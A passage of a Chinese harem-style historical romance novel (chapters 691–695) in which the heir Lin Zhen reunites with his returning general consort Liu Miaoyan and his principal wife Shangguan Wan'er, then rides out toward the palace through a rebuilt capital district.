“都坐吧。”上官婉儿招呼众人落座,早有侍女奉上香茗和精致的点心。她拉着林臻在主位坐下,自己则坐在他身侧。 “承煜、承树那两个皮猴子,被祖父留在松鹤堂了?”上官婉儿问道,眼中带着笑意。 “是啊,”林臻无奈笑道,“祖父现在眼里只有那几个小的,我这个孙子,倒成了多余的了。” “祖父戎马一生,如今年纪大了,含饴弄孙,也是人之常情。”上官婉儿温声道,“倒是夫君,这一年多,可有受伤?沪县那边倭寇猖獗,妾身日夜悬心。” “无妨,”林臻握住她的手,宽慰道,“有毛梦极和金吾卫在,宵小之辈,不足为虑。倒是你,婉儿,府中一切可好?祖父北征期间,可有宵小作祟?” “府中一切安好。”上官婉儿柔声道,“有林安和亲卫们照应着,宵小不敢近前。只是祖父凯旋后,朝中有些风言风语……” “哦?”林臻眉头微挑,“什么风言风语?” “无非是些功高震主,藩镇坐大之类的老调重弹。”上官婉儿声音平静,却带着一丝冷意,“但也都是私下里说说,不过陛下圣明,并未理会。祖父更是懒得搭理,只顾着逗弄重孙了。” 林臻眼中寒光一闪,随即隐去:“跳梁小丑,不必理会。陛下对祖父北征之功,如何封赏?” “祖父已位极人臣,封无可封。”上官婉儿道,“陛下赐下丹书铁券,加九锡,享亲王双俸,并赐祖父可在京郊‘西山’圈地建‘颐养别院’。祖父都推了,只领了陛下的几坛御酒和给孩子们的一些玩物。” 林臻微微颔首。 祖父此举,高明啊! 夫妻二人低声细语,诉说着离别后的种种。 楚惜灵安静地品茶,偶尔看一眼林臻与上官婉儿紧握的手,清冷的眼眸中闪过一丝不易察觉的波动。 张俪则与晴雯、浣碧轻声交谈,询问着京中时兴的衣料首饰,气氛倒也融洽温馨。 就在这时! “砰——!!!” 一声巨响!栖凤轩那两扇厚重的雕花木门,竟被人从外面一脚踹开! 门栓断裂,木屑纷飞! 一道火红的身影如同旋风般冲了进来! 来人身材高挑,竟比寻常男子还要高出半头! 目测足有一米八以上! 一身烈焰般的大红劲装,勾勒出惊心动魄的修长曲线! 乌黑的长发高高束成马尾,不施粉黛,却眉目如画,英气逼人! 尤其那双眼睛,如同燃烧的星辰,明亮、炽热、带着一股野性难驯的张扬! 正是林臻的侧妃之一,将门虎女——刘妙颜?! 她几步就跨到林臻面前,带起一阵香风! 在所有人惊愕的目光中,她猛地俯身,一手勾住林臻的脖子,一手抬起他的下巴, 然后……在众目睽睽之下,狠狠地吻了下去! 那吻,霸道、炽热、带着不容抗拒的占有欲!如同烈火燎原! 林臻猝不及防,被她吻了个结结实实! 鼻息间全是她身上那股混合着阳光、汗水和淡淡皮革味的独特气息! 一吻结束,刘妙颜抬起头,舔了舔红润的嘴唇,如同品尝美味。 她目光灼灼地扫过目瞪口呆的上官婉儿、楚惜灵、张俪、晴雯、浣碧,嘴角勾起一抹张扬而挑衅的笑容,声音清脆响亮,带着不容置疑的宣告: “夫君!你可算回来了!想死我了!今天你是我的!谁也不许抢!” 第691章 颜颜 栖凤轩内,空气仿佛凝固了。 雕花木门的碎片散落一地,木屑在穿透门框的阳光中飞舞。 那道火红的身影如同燃烧的陨石,带着战场归来的硝烟与风尘,也带着压抑了两年的、几乎要焚毁理智的炽热思念,狠狠地撞进了所有人的视线! 刘妙颜! 王府的“火凤凰”! 林臻的青梅竹马! 大乾王朝最年轻的女将军! 此刻,她无视了满堂的惊愕目光,无视了正妃上官婉儿瞬间冷冽的眼神,无视了楚惜灵微微蹙起的眉头和张俪眼中一闪而过的复杂,更无视了晴雯、浣碧那惊得合不拢嘴的模样。 她的世界里,只剩下那个坐在主位上,同样因她突兀闯入而微微愣神的男人——林臻! “夫君!你可算回来了!想死我了!”她的声音清脆响亮,如同金铁交鸣,带着不容置疑的宣告和压抑不住的狂喜! 话音未落,她已如猎豹般扑到林臻面前! 那双在战场上握惯了沉重陌刀、沾染过无数敌血的手,此刻却带着一种近乎颤抖的急切,一手勾住林臻的脖子,一手不容分说地抬起他的下巴! 然后,在所有人惊愕的注视下,她俯身,狠狠地吻了下去! 那不是温婉的轻触,不是缠绵的厮磨,而是如同攻城拔寨般的霸道与炽热! 带着两年征战的硝烟味,带着北地风霜的凛冽气息,更带着几乎要将林臻融化的、积压了七百多个日夜的刻骨相思! 她的唇瓣柔软却带着惊人的力度,仿佛要将所有的思念、担忧、狂喜、委屈……都通过这个吻,狠狠地烙印在林臻的灵魂深处! 林臻猝不及防,被她吻了个结结实实! 熟悉的、混合着阳光、汗水和淡淡皮革味的独特气息瞬间将他包围! 那是独属于刘妙颜的味道! 是铭刻在他骨子里的记忆! 他身体微微一僵,随即猛地放松下来,反手紧紧搂住她劲瘦有力的腰肢! 那腰肢,在火红的劲装下,充满了惊人的力量感和弹性! 他能清晰地感受到她身体细微的颤抖,感受到她心跳如同擂鼓般撞击着他的胸膛! 那不是恐惧,是激动,是失而复得的狂喜! 这个吻,短暂却如同惊雷! 分开时,刘妙颜微微喘息,英气逼人的脸庞染上了一层动人的红晕,那双如同燃烧星辰般的眼眸,此刻更是亮得惊人,里面翻涌着毫不掩饰的爱恋、占有欲和一丝……不易察觉的委屈。 她舔了舔红润的嘴唇,仿佛在回味,随即目光灼灼地扫过满堂众人,嘴角勾起一抹张扬而野性的笑容,声音斩钉截铁: “今天你是我的!谁也不许抢!” “妙颜!”上官婉儿的声音带着一丝压抑的怒意和难以置信的冰冷,她霍然起身,正妃的威严瞬间弥漫开来, “成何体统!这里是栖凤轩!岂容你如此放肆!” 楚惜灵清冷的眼眸中也闪过一丝不赞同,但她并未开口,只是静静地看着。 张俪则微微挑眉,眼中闪过一丝玩味。 晴雯和浣碧早已吓得小脸煞白,缩在张俪身后。 刘妙颜却浑不在意! 她甚至没看上官婉儿一眼,目光依旧牢牢锁在林臻脸上,仿佛这天地间只剩下他一人。 “婉儿姐姐,”她终于侧过头,声音依旧清脆,却带着一股战场上磨砺出的、不容置疑的锐气,“两年!整整两年!我在北燕冰天雪地里砍人脑袋的时候,你在京城赏花喝茶!我身上添了七道疤的时候,你在王府调脂弄粉!现在,我活着回来了!就想抱抱我男人!亲亲他!怎么了?!天经地义!” 她话语直白粗粝,如同她的刀锋,带着一股子蛮横的理直气壮! “你!”上官婉儿气得脸色发白,纤纤玉指指着她,却一时语塞。 刘妙颜的功勋,她的付出,是实打实的! 朝廷邸报上,她“血衣修罗”的名号,是用北燕蛮族的头颅堆砌起来的! 这份底气,这份彪悍,让她一时竟无法反驳! “好了!”林臻低沉的声音响起,带着一丝无奈,更带着不容置疑的威严。 他轻轻拍了拍刘妙颜紧搂着他脖子的手背,示意她松开,然后站起身,目光扫过众人,最终落在上官婉儿身上,带着安抚的意味:“婉儿,妙颜刚从前线归来,性子急了些,莫怪。” 他又看向刘妙颜,眼神瞬间柔和下来,带着深深的疼惜:“妙颜,一路辛苦。身上伤可都好了?” 刘妙颜听到林臻那熟悉的、带着关切的声音,眼中的锐气瞬间融化,如同冰雪消融,露出底下深藏的、只为他一人绽放的柔软。 她撇了撇嘴,带着一丝撒娇的意味:“皮外伤,早好了!就是……就是太想你了!” 她说着,竟不顾众人在场,又一把抱住林臻的胳膊,将头靠在他肩上,像只终于找到主人的大型猫科动物,贪婪地汲取着他的气息。 “北燕那鬼地方,冷得要死!那些蛮子又臭又硬!砍得我手都麻了!每天晚上躺在冰冷的帐篷里,就想你……想得骨头缝都疼!” 她的声音低了下来,带着一丝不易察觉的哽咽,那是在战场上流血不流泪的女将军,在爱人面前卸下所有防备的脆弱。 林臻心中最柔软的地方被狠狠触动。 他抬手,轻轻抚上她束起的高马尾,发丝有些粗糙,带着风霜的痕迹。 “我知道……我都知道。”他低声说,声音带着沙哑的磁性,“每次收到你的军报,看到你名字后面跟着的‘斩首多少级’,我既为你骄傲,又心惊肉跳的。沪县再忙,每晚我都会看北边的星图,想着你此刻在何处,是否安好。” 刘妙颜猛地抬起头,眼中水光潋滟,亮得惊人:“你……你每晚都看?” “嗯。”林臻点头,目光温柔似水,“北燕的星星比京城亮。我总在想,哪一颗下面,是我家的小凤凰在浴血奋战。” “夫君……”刘妙颜再也忍不住,眼泪如同断了线的珠子滚落下来。 这个在战场上如同修罗般的女子,此刻哭得像个孩子。 她不在乎别人怎么看,她只想把这两年的委屈、思念、后怕,都哭出来。 她紧紧抱着林臻的胳膊,仿佛怕他再次消失。 第692章 早安,我的大将军 上官婉儿看着这一幕,心中五味杂陈。 她看着林臻眼中那毫不掩饰的疼惜与爱恋,看着刘妙颜那毫无保留的依赖与脆弱,那是她作为正妃,永远也无法在林臻面前展现的、如此直白浓烈的情感。 她深吸一口气,强压下心中的酸涩,恢复了正妃的端庄:“罢了。妙颜妹妹征战辛苦,今日……夫君便多陪陪她吧。” 她声音平静,却带着一丝不易察觉的疲惫和黯然。 她转身,对楚惜灵、张俪等人道:“妹妹们,我们……先回各自院子吧。让妙颜妹妹和夫君…好好叙叙旧。” 楚惜灵微微颔首,清冷的眼神在刘妙颜和林臻身上停留片刻,带着一丝不易察觉的复杂,转身离去。 张俪则意味深长地笑了笑,拉着还有些懵懂的晴雯和浣碧也走了出去。 栖凤轩内,只剩下林臻和刘妙颜两人。 门被轻轻带上。 刘妙颜再也无所顾忌,她猛地转身,如同矫健的猎豹,将林臻狠狠扑倒在铺着厚厚锦垫的软榻上! 她居高临下地看着他,火红的劲装勾勒出惊心动魄的曲线,修长有力的双腿跨坐在他腰间,带着不容置疑的掌控力。 她俯下身,鼻尖几乎要碰到林臻的鼻尖,灼热的气息喷洒在他脸上: “林臻!你个没良心的!两年!整整两年!你知道我是怎么过来的吗?!”她声音带着哭腔,却又凶巴巴的,“每次冲锋陷阵,我都想着我不能死!我得活着回来!回来见你!见不到你,我死都不甘心!” “我知道……我的小凤凰受苦了……”林臻抬手,轻轻拭去她脸上的泪痕,动作温柔得不可思议。 “不许叫我小凤凰!”刘妙颜凶道,眼泪却流得更凶,“我是将军!是‘血衣修罗’!” “好,我的大将军。”林臻从善如流,眼中满是宠溺,“我的大将军,在北燕立下赫赫战功,为大乾开疆拓土,是真正的巾帼英雄。” “谁稀罕那些!”刘妙颜抽噎着,“我就稀罕你!稀罕你这个人!稀罕你叫我妙颜!稀罕你……抱着我!” 她说着,猛地低下头,再次狠狠地吻住林臻! 这一次,不再是刚才的霸道宣告,而是带着无尽的委屈、思念和后怕,如同狂风暴雨般席卷而来! 她的吻,带着泪水的咸涩,带着身体的微颤,带着几乎要将林臻揉进骨血里的渴望! 林臻热烈地回应着她,双臂紧紧环住她劲瘦却充满力量的腰肢,仿佛要将她融入自己的身体。 他能感受到她身体每一寸肌肉的紧绷与放松,感受到她剧烈的心跳,感受到她压抑了两年的、如同火山般喷发的情感! 他的吻,也从最初的温柔安抚,变得炽热而缠绵,带着同样刻骨的思念和失而复得的狂喜。 唇齿交缠间,是无声的倾诉,是灵魂的碰撞,是两颗在血与火中淬炼、在思念中煎熬的心,终于紧紧相贴的悸动! 不知过了多久,激烈的拥吻才渐渐平息。 刘妙颜伏在林臻胸前,微微喘息,脸颊绯红,如同盛开的玫瑰。 她修长的手指,无意识地摩挲着林臻胸前的衣襟,感受着他沉稳有力的心跳,那是她两年来在无数个冰冷的夜晚,最渴望听到的声音。 “臻哥哥……”她声音带着情动后的沙哑和慵懒,“我……我杀了好多好多人……北燕的王子、大将……他们的血,溅在我脸上,是热的……可我的心,是冷的……只有想到你,才有一点暖意……” “都过去了……”林臻轻抚着她柔顺的发丝,声音低沉而坚定,“你是为了大乾,为了百姓,为了我们的将来。你的手上沾了血,但你的心,比任何人都干净。” “我不怕沾血!”刘妙颜抬起头,眼中闪烁着野性的光芒,“我只怕再也见不到你。臻哥哥,答应我,以后不要再让我离开你那么久!好不好?我宁愿不做将军,只做你身边的一个小兵!” “傻丫头。”林臻失笑,捏了捏她挺翘的鼻尖,“你是翱翔九天的凤凰,战场才是你的归宿,如果真把你留在身边,你该憋坏了。不过我可以答应你,下次在军中多许你几次假期。” “这还差不多!”刘妙颜满意地哼了一声,重新将头埋进他怀里,像只餍足的猫儿。 她修长有力的双腿依旧霸道地圈着他的腰,仿佛生怕他跑了。 阳光透过窗棂,洒在两人身上,温暖而静谧。 这一刻,战场上的金戈铁马、朝堂上的暗流涌动、王府内的微妙平衡……都被隔绝在外。 只剩下两颗饱经思念煎熬的心,终于找到了归处,在彼此的体温和心跳中,沉溺于这来之不易的温存。 栖凤轩内,只剩下细碎的呼吸声和两颗心紧紧相依的脉动。 ...... 翌日,天光已近正午。 炽烈的阳光透过雕花窗棂的缝隙,在光洁的地板上投下细碎的光斑,空气中弥漫着一种慵懒而满足的气息。 林臻缓缓睁开眼,胸膛上沉甸甸地压着一条修长有力的臂膀,肌肤相亲处传来温热的触感。 刘妙颜依旧沉睡,英气的脸庞埋在他颈窝,呼吸均匀悠长,带着一丝不易察觉的鼾声,如同卸下所有防备的幼兽。 她火红的劲装凌乱地搭在床边,露出线条紧实、带着几道浅淡疤痕的肩背,那是北地风霜与刀锋留下的印记。 林臻目光温柔地描摹着她沉睡的眉眼,昨夜那场炽烈如火、几乎要将彼此燃烧殆尽的缠绵仿佛还在眼前。 这头在战场上令敌人闻风丧胆的“火凤凰”,在他怀中终于收敛了所有锋芒,只剩下全然的依赖与疲惫后的酣眠。 他小心翼翼地挪开她的手臂,动作轻柔得如同拂过最珍贵的瓷器,生怕惊扰了她的好梦。 指尖划过她微蹙的眉心和紧抿的唇角,那里似乎还残留着一丝战场归来的戾气。 他俯身,在她光洁的额头上印下一个轻如羽毛的吻,低语道:“好好睡,我的大将军。” 这才轻手轻脚地起身,穿戴整齐。 走出栖霞苑时,他回头望了一眼,阳光正好落在她微翘的嘴角上,镀上一层温暖的金色,带着孩子气的满足。 他笑了笑,深吸一口带着花木清香的空气,转身朝王府深处,那座象征着正室尊荣与宁静的“栖凤轩”走去。 第693章 夫君切莫太过操劳 栖凤轩内,时光仿佛流淌得格外缓慢而优雅。 一室清凉隔绝了午后的燥热。 淡淡的百合香从鎏金仙鹤香炉中袅袅升起,与窗外梧桐叶的清香交织在一起,沁人心脾。 阳光透过薄如蝉翼的云母窗纱,滤去了刺目的锋芒,只留下柔和的光晕,洒在光洁如镜的金砖地面上,也洒在窗前那两道娴静的身影上。 上官婉儿端坐在临窗的紫檀木绣墩上,身姿挺拔如修竹,仪态万方。 她穿着一身素雅洁净的月白色云锦长裙,裙摆处用极细的银线绣着缠枝莲纹,行走间暗纹浮动,流光溢彩,衬得她肌肤胜雪,气质愈发清冷出尘。 乌黑如缎的长发松松挽成一个坠马髻,只斜插一支点翠嵌珍珠的凤头步摇,流苏轻垂,随着她低头的动作微微晃动,折射出温润的光泽。 她手中拿着一方素白锦帕,纤纤玉指拈着一根细如发丝的银针,正全神贯注地绣着一朵半开的玉兰。 针尖在锦缎上游走,轻盈而精准,花瓣的尖儿微微上翘,仿佛带着晨露的清新,花蕊纤毫毕现,透着一股灵动的生机。 她的神情专注而宁静,仿佛整个世界都凝聚在那一针一线之间。 她身旁,坐着一位同样气质温婉的女子,正是月妩。 她已快三十的年纪,穿着一身水绿色杭绸褙子,领口袖口绣着精致的折枝海棠,下配一条月白色百褶裙,身姿丰腴匀称,如同熟透的蜜桃,散发着温润的光泽。 她面若银盘,眉目秀丽,一双杏眼清澈明亮,带着几分市井历练出的精明与圆融,却又不失温婉本分。 “姐姐这玉兰绣得真好,”月妩轻声细语,声音如同春风拂过柳梢,带着由衷的赞叹,“花瓣的尖儿都透着灵气,仿佛下一刻就要绽放开来,连那花蕊上的露珠都像是真的,妾身看着,仿佛都能闻到那清雅的香气了。” 她双手捧着一盏青瓷盖碗,小口啜饮着温热的茉莉香片,姿态恭谨而优雅。 上官婉儿闻言,唇角微弯,露出一抹清浅的笑意,如同冰雪初融,眼波流转间温润如玉:“不过是些闺阁消遣,打发时间罢了。倒是你,月妩妹妹,前日你新制的‘荷花酥’,祖父(林震仙)尝了赞不绝口,连说比宫里御膳房的点心还精巧,今早还特意差人来问,可还有剩的?” 她放下针线,拿起手边的素白丝帕,轻轻擦了擦指尖。 月妩脸上飞起一抹动人的红霞,带着几分小得意,又有些不好意思:“姐姐谬赞了,妾身这点微末手艺,哪敢跟御膳房比。不过是想着老王爷(林震仙)牙口好,爱吃点酥脆的,就试着做了些。能得老王爷喜欢,是妾身的福分。” 她放下茶盏,声音压低了些,带着一丝无奈的笑意, “就是……就是承煜和承树那两个小祖宗,昨儿个在松鹤堂闹腾,围着点心盘子转悠,眼巴巴地看着,妾身刚转身去拿个碟子,就听‘哐当’一声,差点把盘子给掀了!可把妾身吓坏了,幸好嬷嬷眼疾手快扶住了。” 上官婉儿忍不住轻笑出声,那笑声如同珠落玉盘,清脆悦耳,带着宠溺的无奈:“那两个皮猴子,有祖父宠着,越发无法无天了。回头我让嬷嬷好好说说他们,规矩还是要立的。” “可别!娘娘!”月妩连忙摆手,脸上带着真诚的喜爱,“小孩子嘛,活泼些好。妾身瞧着他们虎头虎脑的样子,心里也欢喜。再说了,点心本就是做给人吃的,孩子们喜欢,妾身高兴还来不及呢。” 她顿了顿,眼中闪过一丝狡黠, “不过……下次妾身再做点心,可得藏严实点,等老王爷尝过了再拿出来给那两个小馋猫!” 两人正轻声细语地聊着家常,门外传来侍女轻柔却清晰的通报:“两位夫人,世子来了。” 上官婉儿和月妩立刻放下手中的活计,敛衽起身,动作整齐划一,带着世家大族特有的端庄与恭谨。 林臻踏入轩内,便看到上官婉儿盈盈下拜,裙裾纹丝不动,姿态优雅如画:“妾身恭迎夫君。” 她的声音清越柔和,如同山涧清泉,带着一种沁人心脾的宁静。 月妩也紧随其后,双手交叠于身前,屈膝行礼,姿态温婉:“妾身给夫君请安。” 她的声音带着一丝不易察觉的甜糯,如同刚出锅的蜜糖糕。 “快起来。”林臻上前一步,伸手扶起上官婉儿,目光温柔地落在她清丽绝伦的脸上,细细端详。 一年多的离别,她似乎清减了些,但那份沉静如水的端庄气度,却愈发醇厚动人。 “婉儿,不必多礼。”他温声道,手指不经意间划过她微凉的手背,带来一丝细微的电流。 他又看向月妩,温和道:“你也坐。” “是,妾身来陪姐姐说说话,顺便请教些针线活儿。”月妩起身,脸上带着温婉的笑意,眼神在林臻和上官婉儿之间流转,带着恰到好处的恭谨和一丝为婉儿高兴的喜悦。 三人落座。 侍女鱼贯而入,奉上三盏新沏的雨前龙井,茶汤碧绿清澈,香气氤氲。 另有一碟碟精致的点心摆在紫檀木小几上,最显眼的便是月妩亲手做的“荷花酥”。 那酥皮层层叠叠,薄如蝉翼,炸得金黄酥脆,形如含苞待放的荷花,花瓣尖儿微微翘起,仿佛还带着晨露的清新,精巧得令人不忍下口。 旁边还有几样时令果品,切得整整齐齐。 “夫君昨夜歇息得可好?”上官婉儿端起青瓷茶盏,用茶盖轻轻撇去浮沫,动作优雅从容,声音平静无波,仿佛只是最寻常不过的问候。 但那微微低垂的眼睫,和握着茶盏时指节泛起的淡淡白色,却泄露了一丝不易察觉的紧绷。 林臻心中微微一滞,知道婉儿定是调侃他呢。 他坦然迎上她的目光,带着一丝歉意和坦诚:“妙颜刚从前线归来,性子急了些,又积压了太多思念,昨夜闹腾了些。不过,她心里苦,在北燕冰天雪地里搏杀,身上添了七道疤,每一道都是为了活着回来见我。这份情,我懂。” 他声音低沉,带着对刘妙颜的心疼,也带着对婉儿的愧疚。 上官婉儿抬眸看了他一眼,清澈的眼眸中无波无澜,只轻轻“嗯”了一声,抿了一口清茶,才缓缓道: “妙颜妹妹为国征战,出生入死,劳苦功高,是该好好安抚。她性子刚烈如火,一片赤诚皆系于夫君一身,妾身明白。” 她话语平淡,却字字清晰,带着正妻的胸襟与分寸, “只是……夫君也要注意身体,莫要太过操劳。” “我省得。”林臻点头,目光落在她清丽的侧脸上,带着深深的感激和柔情, “婉儿,这一年多辛苦你了。王府上下里里外外,承煜承树那两个皮猴子的教养,祖父的起居照料,还有替我尽孝心,周全各方桩桩件件,都靠你操持。我在沪县,每每念及此,心中既感念,又愧疚。” 他伸出手,轻轻覆上她放在膝上的手背,那微凉的触感让他心头一紧。 上官婉儿的手微微一颤,却没有抽回,任由他温暖的手掌覆盖着。 她抬起眼,目光柔和地看向林臻,眼中水光潋滟:“夫君言重了。这是妾身分内之事。夫君在沪县,开疆拓土,兴建巨港,才是真正的辛苦。深水港,工业园……妾身虽在深闺,也听闻其艰难险阻,倭寇环伺,步步惊心。如今夫君平安归来,妾身心中甚安。” 她的话语依旧平静,但最后一句“心中甚安”,却如同投入平静湖面的石子,在她眼中漾开层层涟漪,流露出深藏的情意与如释重负。 第694章 酥而不散,甜而不腻 月妩在一旁安静地听着,适时地拿起一块荷花酥,用银筷夹着,小心翼翼地放到林臻面前的小碟中:“夫君尝尝这个,妾身新做的,也不知合不合口味。” 她脸上带着温婉的笑意,眼神中充满了期待。 林臻依言拿起一块,轻轻咬了一口。 酥皮应声而碎,发出清脆的声响,内里是细腻香甜的豆沙馅,入口即化,甜而不腻,带着淡淡的荷花清香。 “好手艺!”林臻由衷赞叹,“酥脆香甜,形神兼备!月妩的点心,总是能让人回味无穷,抚慰人心。” 月妩脸上笑容更盛,如同春花绽放,带着满足的喜悦:“夫君喜欢就好,姐姐也尝尝?” 她又夹了一块给上官婉儿。 上官婉儿优雅地小口品尝,点头赞道:“酥而不散,甜而不腻,形如真花,月妩妹妹的手艺越发精进了。” 三人吃着点心,喝着清茶,聊着些家常闲话。 上官婉儿询问着沪县的风土人情,林臻拣些趣事说与她听,比如港口力工们雄浑的号子,水泥厂里巨大的窑炉,还有那些金发碧眼的西洋商人带来的新奇玩意儿。 月妩则在一旁,时而附和几句,时而为两人添茶倒水,动作轻柔利落,如同穿花蝴蝶。 她偶尔插话,说起京城里新开的绸缎庄,或是哪家戏班新排的折子戏,言语间带着市井的鲜活气息,为这宁静雅致的氛围增添了几分生动。 阳光透过窗纱,在三人身上投下温暖的光影,茶香、点心香、百合香交织在一起,气氛温馨而融洽,如同一幅精心绘制的工笔画。 林臻看着眼前温婉端庄的婉儿,心中涌起一股难以言喻的暖流。 不同于刘妙颜的炽热如火,婉儿的情意如同山涧清泉,温润无声,却涓涓不息,滋养着他的心田。 她总是这样端庄得体,将王府打理得井井有条,将他的生活照顾得无微不至,将所有的情绪都包裹在沉静的外表之下。 这份沉静、包容与坚韧,是他最坚实的后盾,也是他漂泊归来后最渴望的港湾。 “婉儿,”林臻放下茶盏,温声道,目光专注地凝视着她,“今日我就在栖凤轩陪你。陪你说说话,看看书,或者看你绣花。” 他语气中带着一丝不易察觉的依恋和补偿的意味。 上官婉儿闻言,眼中瞬间闪过一丝不易察觉的惊喜,如同投入湖面的星子,随即化为温婉的笑意,如同春水初融:“夫君能陪妾身,妾身自然欢喜。只是……” 她顿了顿,目光转向窗外宫城的方向,那巍峨的轮廓在阳光下闪耀着金色的光芒。 她声音轻柔,却带着一丝不容忽视的提醒, “夫君昨日回京,风尘仆仆,尚未入宫觐见。陛下想必也记挂着夫君。她……很想你。” 最后四个字,她说得极轻,却如同重锤敲在林臻心上。 林臻微微一怔。 他回京后确实尚未入宫。 沪县的喧嚣、王府的温情、刘妙颜的炽热让他几乎沉浸其中,暂时忘却了那座巍峨宫城里的牵绊和责任。 林臻沉吟片刻,眼中闪过一丝复杂的情绪,有惊讶,有愧疚,有责任,也有对慕容嫣那份难以言喻的复杂情愫。 婉儿此刻提起,既是提醒他君臣之礼不可废,恐怕也带着一丝不易察觉的酸涩? 毕竟,那是高高在上的女帝,也是他无法忽视的存在。 “婉儿说的是。”林臻深吸一口气,站起身,玄色蟒袍在阳光下折射出威严的光泽,“是该入宫觐见,向陛下禀报沪县事宜,述职请安。” 他看向上官婉儿,目光温柔而坚定, “待我从宫中回来,再来陪你。” 上官婉儿起身,盈盈一礼,姿态完美无瑕:“夫君正事要紧。妾身在栖凤轩等夫君。” 她抬起头,清澈的眼眸中带着全然的信任、支持,以及一丝不易察觉的、被理解的释然。 月妩也连忙起身,恭敬行礼:“妾身恭送夫君。” 林臻点点头,深深看了婉儿一眼,那一眼包含了歉意、承诺和深深的情意。 他转身,大步走出栖凤轩。 阳光洒在他宽阔的肩背上,映出挺拔而威严的轮廓。 他向着王府大门走去,心中却已飞向了那座金碧辉煌、象征着无上权力却也牵动着复杂情丝的宫城。 而栖凤轩内,上官婉儿目送着他离去的背影,久久伫立在窗前。 阳光在她素白的裙裾上跳跃,映照着她沉静如水的面容,唯有那双清澈的眼眸深处,掠过一丝难以言喻的复杂情绪——有对夫君的牵挂,有对女帝的敬畏,也有一丝深藏的、属于女人的淡淡怅惘。 月妩站在她身侧,轻轻挽住她的手臂,无声地传递着温暖与安慰。 ...... 摄政王府那两扇厚重的朱漆大门缓缓开启,沉重的门轴发出低沉的、如同巨龙苏醒般的轰鸣。 门楣之上,高悬的“敕造摄政王府”鎏金牌匾在正午的阳光下闪耀着令人不敢逼视的威严金光。 门前广场上,早已肃立着两排身着玄黑鱼鳞重甲、手持丈八点钢枪、腰悬狭锋横刀的王府亲卫! 这些百战精锐,个个身形魁梧如铁塔,眼神锐利如鹰隼,浑身散发着如同实质般的铁血煞气! 他们如同两排沉默的钢铁雕像,纹丝不动,只有盔缨在微风中轻轻摇曳,昭示着这座府邸主人——大乾摄政王林震仙那煊赫无匹的权势与功勋! 一辆规制远超寻常亲王的玄色鎏金马车,在四匹通体乌黑、神骏非凡、披挂着精钢鳞甲、额头镶嵌赤金护额的“踏雪乌骓”牵引下,缓缓驶出王府大门。 车身以百年紫檀为骨,包裹着厚重的玄色精钢板,其上錾刻着繁复的蟠龙云纹,边缘镶嵌着熠熠生辉的赤金边饰。 车顶四角,各悬挂着一枚拳头大小、通体浑圆的“辟邪金铃”,随着马车行进,发出低沉而悠远的嗡鸣,带着驱邪镇煞的威严。 车辕上,王府老车夫林忠稳坐如山,身着玄色劲装,花白胡须随风飘动,眼神却锐利如电,控缰的手稳如磐石。 马车两侧,各有八名同样身着玄黑重甲、背负劲弩、腰挎连鞘长刀的亲卫骑兵护卫,马蹄踏在青石板路上,发出整齐划一、如同战鼓般的“嗒嗒”声! 然而,在这肃杀威严的护卫队列中,却有一抹亮色格外引人注目! 第695章 京城的变化 只见马车右侧,一位身着明艳如秋日暖阳的橙黄色云锦长裙的少女骑士,骑着一匹通体雪白、无一丝杂毛、神骏非凡的西域宝马,与马车并行。 她身姿高挑,腰肢纤细却蕴含着惊人的力量感,乌黑的长发在头顶两侧各梳了一个圆润饱满、如同元宝般的丸子髻,用赤金嵌鸽血红宝石的玲珑小簪固定,几缕俏皮的碎发垂在光洁的额前,更添几分灵动。 她面容姣好,眉目如画,尤其一双杏眼,清澈明亮,顾盼生辉,如同山涧清泉,带着少女特有的明媚与朝气,却又隐隐透着一股久经磨砺的英武之气。 正是林臻的贴身女护卫——橙萱?! 她一手控着缰绳,一手随意地搭在腰间悬挂的、造型精巧、鲨鱼皮鞘上镶嵌着细碎蓝宝石的鎏金短剑剑柄上,姿态看似随意,眼神却如同最警惕的猎鹰,锐利地扫视着四周。 阳光洒在她橙黄的裙摆上,那用金线绣制的振翅云雀仿佛活了过来,流光溢彩,与周围玄甲亲卫的肃杀形成鲜明对比,却又奇异地融为一体。 马车内,林臻并未端坐,而是斜倚在铺着厚厚白虎皮、靠背镶嵌着温润白玉的软榻上。 他身着玄色蟠龙常服,外罩一件同色暗金云纹的薄氅,姿态看似慵懒,眉宇间却带着一丝不易察觉的沉凝。 他微微掀开车窗一侧用金丝绣着云纹的锦帘,目光沉静而深邃,如同古井深潭,打量着阔别一年多的京城街景。 马车驶出王府所在的“崇仁坊”,转入宽阔笔直、足以并行八辆马车的“朱雀大街”。 街道两旁,早已不复一年前的景象! 原本低矮破旧、参差不齐的砖木房屋,已被大片整齐划一、气派非凡的建筑群取代! 最引人注目的,便是位于朱雀大街西侧,占地极广、如今已彻底完工的“兴化坊”改造工程! 只见一片连绵起伏、规划严整的五层砖瓦楼房拔地而起! 墙体一律采用坚固的青灰色大砖砌筑,砖缝细密如线,墙面平整光滑如镜,在阳光下反射着沉稳厚重的光泽。 每一层楼都开有宽大明亮的窗户,镶嵌着此时最为清澈透亮的琉璃窗(虽非后世玻璃,但已是顶级工艺),阳光毫无阻碍地洒入室内,驱散了旧日窝棚的阴暗潮湿。 屋顶覆盖着整齐的黛色筒瓦,飞檐微微翘起,虽不如王府宫殿般雕梁画栋,却自有一种简洁大气、坚固实用的美感,如同沉默的卫士,守护着坊内的安宁。 楼宇之间,是宽阔平整的青石板路,两旁栽种着新移栽的槐树和柳树,虽是新树,但枝干挺拔,绿叶初发,生机勃勃。 树下设有打磨光滑的石凳石桌,供人休憩。坊内还点缀着几处小巧玲珑的花坛,栽种着月季、海棠等时令花卉,姹紫嫣红,为这整齐的建筑增添了几分生机与暖意。 更令人惊叹的是坊内浓郁的生活气息! 正值午时,家家户户的窗台上、精心设计的小阳台上,晾晒着五颜六色的衣物被褥,如同彩旗招展,在微风中轻轻摇曳。 不少人家窗台上还摆放着几盆开得正艳的花卉,或是几盆青翠欲滴的葱蒜,充满了生活的烟火气。坊内道路干净整洁,不见垃圾污水,只有几片被风吹落的树叶。 几个穿着干净布衣、脸蛋红扑扑的孩童,正在坊内中央的小广场上追逐嬉戏,踢着藤条编织的球,发出银铃般清脆悦耳的笑声。 几个穿着素净、但浆洗得干干净净的妇人,坐在树荫下的石凳上,一边做着针线活,一边拉着家常,脸上洋溢着满足而平和的笑容。 不远处,还有几个须发皆白的老翁围坐在一起,下着象棋,旁边放着热气腾腾的粗陶茶壶,一派悠闲自得,颐养天年的景象。 空气中弥漫着饭菜的香气、花草的清香、还有孩童嬉闹的活力,构成了一幅生动和谐的“安居乐业图”。 “世子快看,兴化坊真的全建好了!好壮观啊!”橙萱清脆的声音如同黄鹂出谷,带着毫不掩饰的兴奋与惊叹,从车窗外传来。 